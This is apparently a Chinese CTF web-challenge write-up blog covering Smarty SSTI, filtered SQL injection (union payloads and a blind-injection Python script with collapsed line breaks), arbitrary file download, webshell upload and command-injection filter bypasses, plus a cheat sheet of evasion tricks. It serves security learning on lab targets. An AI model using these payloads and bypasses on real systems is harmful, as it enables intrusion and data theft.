当前位置: 首页 > news >正文

web刷题记录(7)

[HDCTF 2023]SearchMaster

 打开环境,首先的提示信息就是告诉我们,可以用post传参的方式来传入参数data

首先考虑的还是rce,但是这里发现,不管输入那种命令,它都会直接显示在中间的那一小行里面,而实际的命令却无法被执行,说明是有条件限制的rce

那么这里又考虑题目给的提示信息,模版。所以考虑ssti注入,在注入开始之前先看看后台还有什么文件。

发现有一个composer.json 文件,这个文件里面会有php项目中的配置文件信息

查看可知,使用的模板smarty,这里smarty模板是php的一个模板,一般来说呢,遇到这个模板都是用{if}来包裹,大概原因如下:

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*, or, &&, and, is_array(), 等等

这里还是先判断

出现报错,说明这个参数的内容是可以被执行的,这里因为已经判断出来模板是smarty了,所以就不再测试7*7了

直接构造

发现在当前目录下没什么有用东西,看看根目录

发现flag相关文件,查看

获得了flag的内容

如果说,在一开始无法判断模板是哪个,那就还是经典的

以这道题举例子

也可以判断出是smarty模板

[SWPUCTF 2022 新生赛]js_sign

进来就是一个输入框,发现输入内容都是一些flag的内容

因为题目给了和js有关,所以用查看器看一下

发现有一个js文件,而且那个输入框就是让输入flag的相关内容,在这个js文件里面给了提示信息,先看看这段base64的内容

这里解码出来的提示是敲击码,所以推测flag的内容应该就是以这种方式加密的,解码看看

得到了flag的内容

[FSCTF 2023]源码!启动!

f12和右键被禁用了,可以用用ctrl u 或者view-source看源码,flag就在源码里面,没什么好说的。

[CISCN 2019华北Day2]Web1

进来就是一个注入口,尝试输入1,回显了下面那句话

2也是

到3报错,到后面的4,5,6都是报错,那在这里尝试输入字母zxc

与上面不同的是这里提示的是错误是类型错误,这里基本可以猜测是字符型注入了

单引号判断

到这里基本可以确定是数字型注入了,根据题目所给的信息,尝试使用union联注查一下,flag表和flag列的信息

提示有sql信息被检测

说明这里应该是检测到了某些sql语句的字段,过滤了某些字段,这里我的思路是用fuzz测试看看过滤了什么

485长度的都是被过滤的内容,其中 union、select、extracvalue、updatexml、sleep等常见注入关键字全部都被过滤。也就是说union联注基本是不用想了,这里根据之前的报错信息尝试布尔盲注。

经过尝试,提交:if(1=2,1,2)时,返回如下

发现它这里使用if语句以后,对应2的返回值 那么这里构造语句:
if(ascii(substr((select(flag)from(flag)),1,1))=ascii(‘f’),1,2)
如果列中第一个字符为不为‘f’,那么就会返回2的返回值‘Do you want to be my girlfriend?’

参考其他大佬的wp写脚本

import requests# 网站路径
url = "http://node4.anna.nssctf.cn:28278/index.php"# 枚举字符的payload
payload_str = "(select(ascii(substr(flag,{l},1))={n})from(flag))"# post请求参数
data= {"id":payload_str}# 枚举字符
def getFlag():flag = ''# 从第一个字符开始截取for i in range(1,100):# 枚举字符的每一种可能性for n in range(32, 126):data["id"] = payload_str.format(l=i, n=n)response = requests.post(url=url, data=data)if 'Hello' in response.text:flag += chr(n)print(flag)breakif flag[-1] == '}':breakif __name__ == '__main__':getFlag()

就能跑出flag(这里requests库需要安装)

[GKCTF 2021]easycms

找了一下当前页面,没有发现什么注入点,所以这里选择使用dirsearch扫描一下后台看看,有没有其他提示文件

用御剑也可以

访问以后呢得到了

本来想爆破的或者看看有没有sql注入点,但是这里试了一下弱口令,试出来了 admin 12345

进入了下一个页面

本来我的思路是看看有没有就是那种存储型或者反射型的xxs,或者某个位置是否存在sql注入,或者说有没有文件上传的点,但是经过测试发现,很多页面都是静态的,直接就没有后端去处理那些数据,直接就跳转回一开始的页面,然后在,看了其他大佬的wp后,才知道这里的注入点在

设计 自定义 导出

方法一:任意文件下载

随便填写一下导出成功以后,就在它的url里面截获了一串base64编码,这里解码发现,是绝对路径,那么这里用到的知识点就是任意文件下载

那这里就尝试改一下theme=后面的内容,改成/flag,并且用base64编码,尝试读取flag文件

下载成功以后,改后缀为txt查看,或者放到010里面,可以读取到里面的内容

方法二:文件上传

在设计 首页 自定义 ,发现可以写入php代码,那么就考虑写个木马上去

但是发现,这个用户的权限不够,要管理员权限才能上传

但是它这里的验证也不是很难,所以我们去尝试创建这个文件看看能不能绕过

随便传个文件,然后编辑改名字

然后就可以写入木马了,现在就可以成功保存了

然后再一开始出现ppt的地方就跳flag了

(获得管理员权限的时候,素材库是一个可以注入的点,这里还尝试了然后去设置中的微信设置,随便写点东西然后保存,但是无法保存,所以无法从那里注入)

然后这里还用到了lfi

使用相对路径进行读取
通过./表示当前位置路径,../表示上一级路径位置,在linux中同样适用。

这个用在了对管理员那个文件的保存位置

方法三:

在方法二的基础上取得了管理员的权限

在高级里面,可以改代码

[WUSTCTF 2020]朴实无华

进来以后,没有什么提示信息,源代码里面也没有什么东西,就要两个词的提示,所以这里选择扫一下后台看看有没有可以用的文件信息

这里扫到一个robots.txt,访问一下看看

发现有一个提示的和flag有关的文件

在这里是没有什么信息,但是一般来讲,这种页面应该都有提示的信息,所以这里选择抓包看看,有没有什么信息被忽略

发现在返回内容中,有一个可疑文件,访问看看

代码审计,总共需要绕过三层代码

第一层,是intval函数的绕过

我们需要传递一个 字符串 作为 $num 的值使得判断语句成立以 使得程序继续进行,而不是因为 die() 函数 的执行而停止。

从逻辑上来说,没有一个数值(字符串形式)可以使得 $num 满足判断语句。但intval() 在某些 PHP 版本中 对使用科学计数法的数值(字符串)无法正常解析,这也就产生了绕过的可能。

$num 在第二个 intval() 函数中以 表达式 的形式出现,字符串在与数值进行运算时,PHP 会将字符串转化为数值。使用科学计数法的数值(字符串) 在某些版本中无法被 intval() 正确解析,但 PHP 是认得它的,在与数值 1 进行加法运算时,$num 将被 PHP 正确解析。于是,我们尝试将 $num="1e4"。

成功绕过第一层。

第二层

        发现md5加密,很明显会是md5的绕过,发现关键代码为$md5==md5($md5),这个形式的绕过还是很常见的,只要搜索md5绕过就能找到paylaod。绕过的原理就是加密前后都是0e开头的字符串,在php弱比较类型中是相等的。强比较也就是===就不能用了。

        所以这里就只需找到一个以0x开头的字符串,并且后md5加密以后也以0x开头的字符串。这里使用0e215962017

关于MD5_md5值只有16进制吗-CSDN博客

 

 第三层

这里cat被过滤了

然后这里直接把参数放到了执行命令的函数里面,所以这里直接对参数传入命令就可以了,这里空格也被过滤,所以可以用%09进行绕过,cat可以用tac进行绕过

得到了flag

[SWPUCTF 2022 新生赛]numgame

进来什么东西都没有,源代码也没东西,尝试扫后台

扫出来一个flag.php,但是没什么用,因为里面也没什么实质的内容,抓包看看

       在代码此处有一段src标签,好像是一个js的代码,但是利于工具看的时候,页面并没有对应回显,看起来是个路径,可以访问一下

访问以后发现有段类似flag的东西

解码以后发现,是一个文件(试过,不是flag)

进入到代码审计

   call_user_func():把第一个参数作为回调函数调用

   preg_match("/n|c/m",$_GET['p'], $matches):过滤字符nc\m模式是多行匹配。由于PHP语言本身不区分大小写,故这里可以大小写绕过。

         接下来,定义了一个名为`nss`的类,其中有一个名为`ctf()`的静态方法。包含了hint2.php

        在接下来的代码中,通过`isset($_GET['p'])`检查`$_GET['p']`是否存在。如果存在,就进入下一层判断。

        在第6行代码中,使用`preg_match()`函数对`$_GET['p']`进行正则匹配,判断其是否含有字母`n`或`c`。如果匹配成功,就输出`"no"`并结束脚本的执行。

        在第7行代码中,使用了`call_user_func()`函数,根据`$_GET['p']`的值调用对应的函数。`call_user_func()`函数用于调用一个回调函数。这里回调函数的名称由`$_GET['p']`指定。

这里要学习一个新的运算符  ::双冒号运算符

我们可以直接利用双冒号运算符去访问类中的方法,因为正则表达式中匹配到了n和c,但是用到的修饰符是/m多文本匹配,所以我们可以采用大小写来绕过

尝试构造payload:

?p=Nss::Ctf

输出了hint2.php的内容说明思路对了,那么根据提示,调用nss2

得到了flag

[SWPUCTF 2022 新生赛]ez_sql

进来给了提示,就是sql注入的参数,因为提示说了相对安全的方式,首先想到的是post传参,当然这里也选择使用get传参来试试看看有没有注入点

给了提示,说明get传参的方式行不通。

页面有回显

单引号判断,可以确认是字符型注入

判断列数,发现报错,说明应该是语句的某些部分被过滤了,fuzz测试一下看看

通过测试可知,order和union这些语句还有空格被过滤了,但是select那些命令没有,所以这里选择使用双写绕过,和使用/**/来绕过

判断列数时,到4时开始报错,发现为3个字段

回显位为2,3

现在开始查库名:nss=3'/**/ununionion/**/select/**/1,2,database()#

找到了库,爆表,发现双写绕过没有用

后面才发现原来是or被过滤了,所以这里选择,直接双写绕过这部分

nss=3'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#

爆字段:

nss=3'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#

看看可疑那个flag文件的内容

 发现格式和前面几个差不多,交了,假的,再试试上一个secr3t

nss=3'/**/ununionion/**/select/**/1,2,group_concat(Secr3t)/**/from/**/NSS_tb;#

得到了flag

知识点:

composer.json 文件

composer.json 文件是用于描述和配置 PHP 项目所需依赖和其他元数据的文件,通常与 Composer 工具一起使用。以下是它的主要作用和功能:

  1. 依赖管理

    • 描述项目依赖composer.json 文件列出了项目所需的所有依赖包及其版本信息。这些依赖可以是其他 PHP 库、框架或工具,甚至是本地项目或者内部私有的代码库。
    • 自动安装:Composer 根据 composer.json 文件中的依赖描述,自动下载和安装所有必需的依赖包及其依赖关系。这简化了依赖管理和项目部署过程。
  2. 项目配置

    • 自定义配置:除了依赖管理外,composer.json 文件还可以包含项目的自定义配置,如项目名称、描述、作者信息、许可证、项目类型等。
    • 脚本执行:可以配置 Composer 在安装、更新依赖或者发布过程中执行的脚本,例如自动更新缓存、生成自动加载文件等操作。
  3. 版本控制

    • 版本约束:通过 composer.json 文件可以指定每个依赖包的版本约束,确保项目在不同环境中的一致性和稳定性。
    • 更新策略:可以配置依赖包是否可以自动更新到新的稳定版本或者仅更新到指定的特定版本。
  4. 自动加载

    • PSR-4 自动加载:Composer 会根据 composer.json 文件中定义的 PSR-4 自动加载规则,自动生成自动加载器,简化了 PHP 类和文件的引入和加载过程。
  5. 包发布和分发

    • 共享和发布:将项目打包为可发布的状态,可以在 Composer 包库(如 Packagist)上注册和发布,使其他开发者可以方便地安装和使用该包。

        composer.json 文件在 PHP 项目中扮演着关键的角色,通过清晰地定义项目的依赖关系和配置信息,使得开发者能够更加高效、规范地管理和部署项目的依赖项,并且促进了 PHP 生态系统中包的重用和共享。

任意文件读取漏洞:

        一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。

    任意文件读取会造成(敏感)信息泄露:
    任意文件读取很多情况是由于其他漏洞引发的,如,RCE、目录遍历、文件包含等。
    任意文件读取与任意文件下载本质上没有区别,信息都是从服务端流向浏览器的。

任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。

参考:

任意文件读取及漏洞复现_复现mysql的任意文件读取漏洞、身份认证漏洞等-CSDN博客

任意文件读取 下载漏洞总结_任意文件下载漏洞-CSDN博客

cms:

CMS是“Content Management System”的缩写,意为“内容管理系统”。网站的开发者为了方便,制作了不同种类的CMS,可以加快网站开发的速度和减少开发的成本。

常见的CMS:
php类cms系统:dedecms、帝国cms、php168、phpcms、cmstop、discuz、phpwind等
asp类cms系统:zblog、KingCMS等
国外的著名cms系统:joomla、WordPress 、magento、drupal 、mambo。

CMS是什么?好的网站后台有什么特质?-CSDN博客

 

intval函数的绕过:

intval() 函数是一个常用的 PHP 内置函数,用于将变量的值转换为整数(integer)。它的基本语法是:

intval( $var, $base = 10 );

其中:

  • $var 是要转换为整数的变量,可以是数字型字符串、浮点数或其他类型的变量。
  • $base 是可选参数,用于指定进制,可以是 2 到 36 之间的任意整数。如果不指定 $base,默认为 10。

主要功能和用途:

  1. 将字符串转换为整数

    • 如果 $var 是以数字形式存在的字符串(如 "123"),intval() 会将其转换为整数 123
    • 如果 $var 是包含非数字字符的字符串(如 "123abc"),intval() 会截取字符串中第一个有效的数字段,例如 "123"
  2. 处理浮点数

    • 对于浮点数,intval() 会截取其整数部分,并将其转换为整数。例如,对于 3.14intval() 返回 3
  3. 处理其他数据类型

    • 如果 $var 是布尔值 trueintval() 返回 1;如果是布尔值 false 或者 null,返回 0
    • 对于对象,intval() 尝试调用对象的 __toString() 方法,然后再转换为整数。
  4. 进制转换

    • 如果指定了 $base 参数,intval() 将按照指定的进制将字符串转换为整数。例如,intval('A', 16) 将返回 10,因为 A 在十六进制中表示 10
  5. 处理异常情况

    • 当转换的结果超出 PHP 整数的表示范围时,intval() 返回一个浮点数(在 32 位系统上)或者一个大整数(在 64 位系统上)。

PHP7.2.5 版本及以上

intval()PHP7.2.5 及以上版本,e 与 E 均表示 科学计数法(Scientific Notation)。科学计数法由 基数 和 指数 两部分组成,常用于 表示非常大或非常小的数值。

在科学计数法中,基数 通常 是一个浮点数,介于 1 到 10 之间,而指数是一个整数,表示要将基数乘以 10 的多少次方。基数与指数之间以字符 e 或 E 进行分隔。

        该函数可以利用其特性进行绕过。根据菜鸟教程给的实例,发现字母可以阻断函数的识别,只会输出字母之前的内容,所以前面的判断很容易绕过。后面的判断不妨可以自己测试一下,带有e的科学计数法形式的字符串,很多都可以通过这个判断,但是php的环境必须为7.0以下,否则字符串会和数字解析为相同的正确的结果。

        在朴实无华那题中,当使用科学计数法来判断num<2020时,11e3会被强制转换为int类型,相当于11,但是当用这种办法来判断+1时,科学计数法就会被解析出来11e3+1就是11001,这样就进行了绕过

PHP7.2.5 以下的某个版本

以前,intval() 函数无法正确解析字符 Ee,于是 intval 在解析到 Ee 时立即停止,这导致科学计数法实际并未生效。

过滤

过滤关键字,如过滤 cat,flag等关键字

替代法

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容

使用转义符号

ca\t /fl\ag
cat fl''ag

拼接法

a=fl;b=ag;cat$IFS$a$b

使用空变量$*和$@,$x,${x}绕过

ca$*t flag

编码绕过

1、Base64

`echo 'Y2F0Cg==' | base64 -d`

2、8进制

3、16进制

过滤空格
%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{cat,flag}
过滤分割符 | & ;
  ;  //分号|  //只执行后面那条命令||  //只执行前面那条命令&  //两条命令都会执行&&  //两条命令都会执行%0a      //换行符%0d     //回车符号用?>代替;在php中可以用?>来代替最后的一个;,因为php遇到定界符关闭标签会自动在末尾加上一个分号。

相关文章:

web刷题记录(7)

[HDCTF 2023]SearchMaster 打开环境&#xff0c;首先的提示信息就是告诉我们&#xff0c;可以用post传参的方式来传入参数data 首先考虑的还是rce&#xff0c;但是这里发现&#xff0c;不管输入那种命令&#xff0c;它都会直接显示在中间的那一小行里面&#xff0c;而实际的命令…...

【单片机毕业设计选题24037】-基于STM32的电力系统电力参数无线监控系统

系统功能: 系统上电后&#xff0c;OLED显示“欢迎使用电力监控系统请稍后”&#xff0c;两秒后显示“Waiting..”等待ESP8266初始化完成&#xff0c; ESP8266初始化成功后进入正常页面显示&#xff0c; 第一行显示电压值&#xff08;单位V&#xff09; 第二行显示电流值&am…...

Python使用彩虹表来尝试对MD5哈希进行破解

MD5是一种散列算法&#xff0c;它是不可逆的&#xff0c;无法直接解密。它的主要作用是将输入数据进行散列&#xff0c;生成一个固定长度的唯一哈希值。 然而&#xff0c;可以使用预先计算好的MD5哈希值的彩虹表&#xff08;Rainbow Table&#xff09;来尝试对MD5进行破解。彩…...

数据恢复篇: 如何在数据丢失后恢复照片

数据丢失的情况并不少见。如果您曾经遇到过图像丢失的情况&#xff0c;您可能想过照片恢复工具是如何工作的&#xff1f;可能会丢失多少数据图像&#xff1f;即使是断电也可能导致照片和媒体文件丢失。 话虽如此&#xff0c;如果你认为删除的照片无法恢复&#xff0c;那你就错…...

c++ 引用第三方库

文章目录 背景编写cmake代码里引用测试 背景 遇到一个c项目&#xff0c;想跑一些示例。了解下如何直接引用第三方库。 编写cmake 项目结构 myprojectincludexx.hmain.cppCMakeLists.txt CMakeLists.txt cmake_minimum_required(VERSION 3.28) project(velox_demo)set(CM…...

[数据集][目标检测]猪只状态吃喝睡站检测数据集VOC+YOLO格式530张4类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;530 标注数量(xml文件个数)&#xff1a;530 标注数量(txt文件个数)&#xff1a;530 标注类别…...

Redis中设置验证码

限制一分钟内最多发送5次&#xff0c;且每次有效时间是5分钟&#xff01; String 发送验证码(phoneNumber) {key "shortMsg:limit:" phoneNumber;// 设置过期时间为 1 分钟&#xff08;60 秒&#xff09;// 使⽤ NX&#xff0c;只在不存在 key 时才能设置成功bool…...

使用hadoop进行数据分析

Hadoop是一个开源框架&#xff0c;它允许分布式处理大数据集群上的大量数据。Hadoop由两个主要部分组成&#xff1a;HDFS&#xff08;Hadoop分布式文件系统&#xff09;和MapReduce。以下是使用Hadoop进行数据分析的基本步骤&#xff1a; 数据准备&#xff1a; 将数据存储在HDF…...

架构师篇-7、企业安全架构设计及实践

摘要&#xff1a; 认识企业安全架构企业安全案例分析及实践 内容&#xff1a; 为什么做企业安全架构怎么做好安全架构设计案例实践分析&随堂练 为什么要做企业安全架构 安全是麻烦制造者&#xff1f; 整天提安全需求增加开发工作增加运维要求增加不确定性延后业务上线…...

递归算法~快速排序、归并排序

递归排序是一种基于分治法的排序算法&#xff0c;最典型的例子就是快速排序和归并排序。这两种算法都利用递归将问题分解成更小的子问题&#xff0c;然后将子问题的解合并以得到原始问题的解。 1、快速排序&#xff08;Quick Sort&#xff09; 快速排序的基本思想是选择一个基…...

DarkGPT:基于GPT-4-200k设计的人工智能OSINT助手

关于DarkGPT DarkGPT是一款功能强大的人工智能安全助手&#xff0c;该工具基于GPT-4-200k设计并实现其功能&#xff0c;可以帮助广大研究人员针对泄露数据库进行安全分析和数据查询相关的OSINT操作。 工具要求 openai1.13.3 requests python-dotenv pydantic1.10.12 工具安装 …...

RAG 检索增强生成有效评估

我们将介绍RAG(检索增强生成)的评估工作流程 RAG工作流程的部分 数据集 这里是我们将要使用的LCEL (LangChain Expression Language)相关问题的数据集。 这个数据集是在LangSmith UI中使用csv上传创建的: https://smith.langchain.com/public/730d833b-74da-43e2-a614-4e2ca…...

Day38:LeedCode 1049. 最后一块石头的重量 II 494. 目标和 474.一和零

1049. 最后一块石头的重量 II 有一堆石头&#xff0c;用整数数组 stones 表示。其中 stones[i] 表示第 i 块石头的重量。 每一回合&#xff0c;从中选出任意两块石头&#xff0c;然后将它们一起粉碎。假设石头的重量分别为 x 和 y&#xff0c;且 x < y。那么粉碎的可能结果…...

sqlalchemy分页查询

sqlalchemy分页查询 在SQLAlchemy中,可以使用limit和offset方法实现分页查询 from sqlalchemy.orm import sessionmaker from sqlalchemy import create_engine from models import MyModel # 假设MyModel是你定义的模型# 连接数据库 engine = create_engine(sqlite:///myd…...

Java--常用类APl(复习总结)

前言: Java是一种强大而灵活的编程语言&#xff0c;具有广泛的应用范围&#xff0c;从桌面应用程序到企业级应用程序都能够使用Java进行开发。在Java的编程过程中&#xff0c;使用标准类库是非常重要的&#xff0c;因为标准类库提供了丰富的类和API&#xff0c;可以简化开发过…...

【股指期权投教】一手股指期权大概多少钱?

一手股指期权的权利金大概在几千人民币左右&#xff0c;如果是作为期权卖方还需要另外缴纳保证金的。国内的股指期权有三种&#xff0c;沪深300、上证50、中证1000股指期权&#xff0c;每点合约人民币100 元。 期权合约的价值计算可以通过此公式得出&#xff1a;权利金的支付或…...

mmap()函数和munmap()函数的例子

代码&#xff1a; #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/mman.h> #include <string.h> #include <stdio.h> #include <unistd.h>#define FILELENGTH 80 int main(void) {int fd-1;char …...

计算神经网络中梯度的核心机制 - 反向传播(backpropagation)算法(1)

计算神经网络中梯度的核心机制 - 反向传播&#xff08;backpropagation&#xff09;算法&#xff08;1&#xff09; flyfish 链式法则在深度学习中的主要应用是在反向传播&#xff08;backpropagation&#xff09;算法中。 从简单的开始 &#xff0c;文本说的就是链式法则 R …...

VUE实现简易购物车

主要是对基础的指令的使用&#xff0c;直接上代码&#xff1a; <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0">&l…...

混沌工程——从捣乱的视角看系统稳定性

概念 混沌工程是通过捣乱实验探究系统稳定性的实践过程&#xff0c;其作战武器是风险因子&#xff0c;即在健康的运行环境中引入风险变量来验证系统对风险的抵抗能力&#xff0c;它的作用是推动系统容错能力建设、验证监控告警及时性、提升研发问题排查能力。 混沌工程的工作…...

Windows宝塔面板部署ThinkPHP8.0创建Vue项目案例

安装ThinkPHP8.0 登录宝塔面板&#xff0c;创建一个站点。 输入composer代码&#xff0c;执行完成后自动创建TP目录 composer create-project topthink/think tp 网站目录设置为tp&#xff0c;运行目录设置为public 设置PHP版本为8.0以上&#xff0c;不然会出现下面的报错代…...

5G频段简介

5G频段 5G网络一共有29个频段&#xff0c;主要被分为两个频谱范围&#xff0c;其中6GHz以下的频段共有26个&#xff08;统称为Sub6GHz&#xff09;&#xff0c;毫米波频段有3个。目前国内主要使用的是Sub6GHz&#xff0c;包括n1/n3/n28/n41/n77/n78/n79共7个频段。具体介绍如下…...

【python学习】bytearray 数组

在Python中&#xff0c;bytearray 是一个可变序列&#xff0c;用于表示一个字节数组。与不可变的 bytes 类型相比&#xff0c;bytearray 允许你修改其内容。你可以通过索引来访问和修改 bytearray 中的元素&#xff0c;也可以添加或删除元素。 使用 bytearray 的一些示例&…...

Labview_Occurrencel(事件发生)

PS&#xff1a;这里遇到 一个很Low的事情&#xff1a; 在停止第二个while循环的时候出现了停止不了的情况。因为等待事件发生设置的超时时间为:-1。所以等事件发生后出现了条件接线端已经执行的情况&#xff0c;所以当下次事件发生时未能及时停止。初版的停止设置如下图&#x…...

天气网站爬虫及可视化

摘要&#xff1a;随着互联网的快速发展&#xff0c;人们对天气信息的需求也越来越高。本论文基于Python语言&#xff0c;设计并实现了一个天气网站爬虫及可视化系统。该系统通过网络爬虫技术从多个天气网站上获取实时的天气数据&#xff0c;并将数据进行清洗和存储。同时&#…...

【python - 数据】

一、序列 序列&#xff08;sequence&#xff09;是一组有顺序的值的集合&#xff0c;是计算机科学中的一个强大且基本的抽象概念。序列并不是特定内置类型或抽象数据表示的实例&#xff0c;而是一个包含不同类型数据间共享行为的集合。也就是说&#xff0c;序列有很多种类&…...

几种热管的构造

1、超薄热管构造形式 在实际应用中&#xff0c;超薄热管通常定义为厚度小于2.0mm的平板热管。超薄热管很薄&#xff0c;可紧贴电子元件表面散热&#xff0c;故被广泛应用于移动和可携带电子设备&#xff0c;如智能手机、笔记本电脑和智能手表。用于笔记本电脑和平板电脑的超薄…...

【GitOps】使用Google工具JIB实现本地无需安装容器推送镜像,加速SpringCloud项目开发

文章目录 一、效果展示二、简介三、安装Jib插件1、区分环境2、安装插件一、效果展示 本地是window系统,无docker环境,没有任何runtime,使用jib工具打包镜像并推送完成,用时20秒 二、简介 Jib 是 Google 开发的一款开源工具,旨在帮助 Java 开发者更高效地将 Java 应用程…...

【proteus经典实战】16X192点阵程序

一、简介 6X192点阵程序通常用于表示高分辨率图像或文字&#xff0c;其中16X表示像素阵列的宽度&#xff0c;192表示每个像素阵列中的点阵数&#xff0c;16X192点阵程序需要一定的编程知识和技能才能编写和调试&#xff0c;同时还需要考虑硬件设备的兼容性和性能等因素。 初始…...

小白上手AIGC-基于FC部署stable-diffusion

AIGC AIGC&#xff08;人工智能创造内容&#xff09;作为一种基于人工智能技术生成内容的新型创作模式。打破了过去大家对于AI的理解都是说只能涉足部分领域而无法涉足艺术或者是其他的创作领域的定律&#xff0c;现在的AIGC也能够创作内容了&#xff0c;而不再只是单纯的返回…...

一些指标的学习

1.平均倒数排名&#xff08;MRR&#xff09; 1.定义 MRR 是衡量检索系统返回的结果列表中第一个相关结果位置的指标。具体来说&#xff0c;它是所有查询倒数排名的平均值。 2.计算步骤 对每个查询&#xff0c;找到第一个正确答案在结果列表中的排名 &#x1d445;&#x1d44…...

dledger原理源码分析系列(三)-选主

简介 dledger是openmessaging的一个组件&#xff0c; raft算法实现&#xff0c;用于分布式日志&#xff0c;本系列分析dledger如何实现raft概念&#xff0c;以及dledger在rocketmq的应用 本系列使用dledger v0.40 本文分析dledger的选主 关键词 Raft Openmessaging 心跳/选…...

如何修改PDF文档的作者名称?

要修改一个 PDF 文档的作者名称&#xff0c;你可以按照以下步骤进行操作&#xff1a; 1. **使用 Adobe Acrobat**&#xff08;如果有&#xff09;&#xff1a; - Adobe Acrobat 是一个功能强大的 PDF 编辑工具&#xff0c;支持修改文档属性信息&#xff0c;包括作者名称。打开…...

从笔灵到AI去痕:全方位提升内容创作与学术诚信

内容为王&#xff0c;在内容创作的世界中尤为重要。然而&#xff0c;面对写作时常常感到无从下手&#xff1a;有时缺乏灵感&#xff0c;有时难以表达清楚自己的想法。AI写作助手的出现&#xff0c;为这些问题提供了创新的解决方案&#xff0c;极大地改变了内容创作的过程。 今…...

考试如果出现汉诺塔问题怎么办?

对于这道题来说 就按照测试案例里的数字进行输入 测试案例用100 那这三只鸡的具体最多能有多少只鸡呢&#xff1f; 用总数除以这只鸡的单价>>>>>>>即为这只鸡最多有 >>>>>>>> n / 单价 修改后 >>>>> 不只适…...

导出word模板开发记录

exportWordDocx.js import JSZipUtils from “jszip-utils” import Docxtemplater from “docxtemplater” import {saveAs} from “file-saver” import PizZip from “pizzip” const exportWordDocx (demoUrl, docxData, fileName) > {// 读取并获得模板文件的二进制…...

PHP爬虫类的并发与多线程处理技巧

PHP爬虫类的并发与多线程处理技巧 引言&#xff1a; 随着互联网的快速发展&#xff0c;大量的数据信息存储在各种网站上&#xff0c;获取这些数据已经成为很多业务场景下的需求。而爬虫作为一种自动化获取网络信息的工具&#xff0c;被广泛应用于数据采集、搜索引擎、舆情分析…...

用Python将PowerPoint演示文稿转换到图片和SVG

PowerPoint演示文稿作为展示创意、分享知识和表达观点的重要工具&#xff0c;被广泛应用于教育、商务汇报及个人项目展示等领域。然而&#xff0c;面对不同的分享场景与接收者需求&#xff0c;有时需要我们将PPT内容以图片形式保存与传播。这样能够避免软件兼容性的限制&#x…...

机电公司管理小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;管理员管理&#xff0c;客户管理&#xff0c;公告管理&#xff0c;考勤管理&#xff0c;请假管理 微信端账号功能包括&#xff1a;系统首页&#xff0c;公告&#xff0c;机电零件&…...

SQL中的子查询和CTE(with ....as..)

第一次看到with as 这种类似于python中读文件的写法还是挺疑惑的&#xff0c;其实它是CTE&#xff0c;功能和子查询很类似但又有不同点&#xff0c;在实际应用场景中具有着独特作用。 子查询 子查询是在主查询中的嵌套查询&#xff0c;可以出现在SELECT、FROM、WHERE等子句中…...

Cesium 基本概念:创建实体和相机控制

基本概念 Entity // 创建一个实体 const entity_1 viewer.entities.add({position: new Cesium.Cartesian3(0, 0, 10000000),point: {pixelSize: 10,color: Cesium.Color.BLUE} });// 通过经纬度创建实体 const position Cesium.Cartesian3.fromDegrees(180.0, 0.0); // 创…...

vue使用scrollreveal和animejs实现页面滑动到指定位置后再开始执行动画效果

效果图 效果链接&#xff1a;http://website.livequeen.top 介绍 一、Scrollreveal ScrollReveal 是一个 JavaScript 库&#xff0c;用于在元素进入/离开视口时轻松实现动画效果。 ScrollReveal 官网链接&#xff1a;ScrollReveal 二、animejs animejs是一个好用的动画库…...

在Ubuntu 16.04上安装和配置GitLab的方法

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。 简介 GitLab CE&#xff08;Community Edition&#xff09;是一个开源应用程序&#xff0c;主要用于托管 Git 仓库&#xff0c;并提供额…...

STM32的SPI通信

1 SPI协议简介 SPI&#xff08;Serial Peripheral Interface&#xff09;协议是由摩托罗拉公司提出的通信协议&#xff0c;即串行外围设备接口&#xff0c;是一种高速全双工的通信总线。它被广泛地使用在ADC、LCD等设备与MCU间&#xff0c;使用于对通信速率要求较高的场合。 …...

机器学习引领教育革命:智能教育的新时代

&#x1f4dd;个人主页&#x1f339;&#xff1a;Eternity._ &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; ❀目录 &#x1f4d2;1. 引言&#x1f4d9;2. 机器学习在教育中的应用&#x1f31e;个性化学习&#x1f319;评估与反馈的智能化⭐教学资源的优…...

6月29日,每日信息差

第一、位于四川省绵阳市的中广核质子治疗装备制造基地正式通过竣工验收&#xff0c;为全球装机数量和治疗患者数量最多的国际领先质子治疗系统全面国产化奠定了坚实基础。质子治疗作为目前全球最尖端的肿瘤放射治疗技术之一&#xff0c;与传统放疗技术相比&#xff0c;质子治疗…...

SpringCloud中复制模块然后粘贴,文件图标缺少蓝色方块

再maven中点击&#xff0b;号&#xff0c;把当前pom文件交给maven管理即可...

JS乌龟吃鸡游戏

代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>乌龟游戏</title><script type"text/javascript">function move(obj){//乌龟图片高度var wuGui_height 67;…...

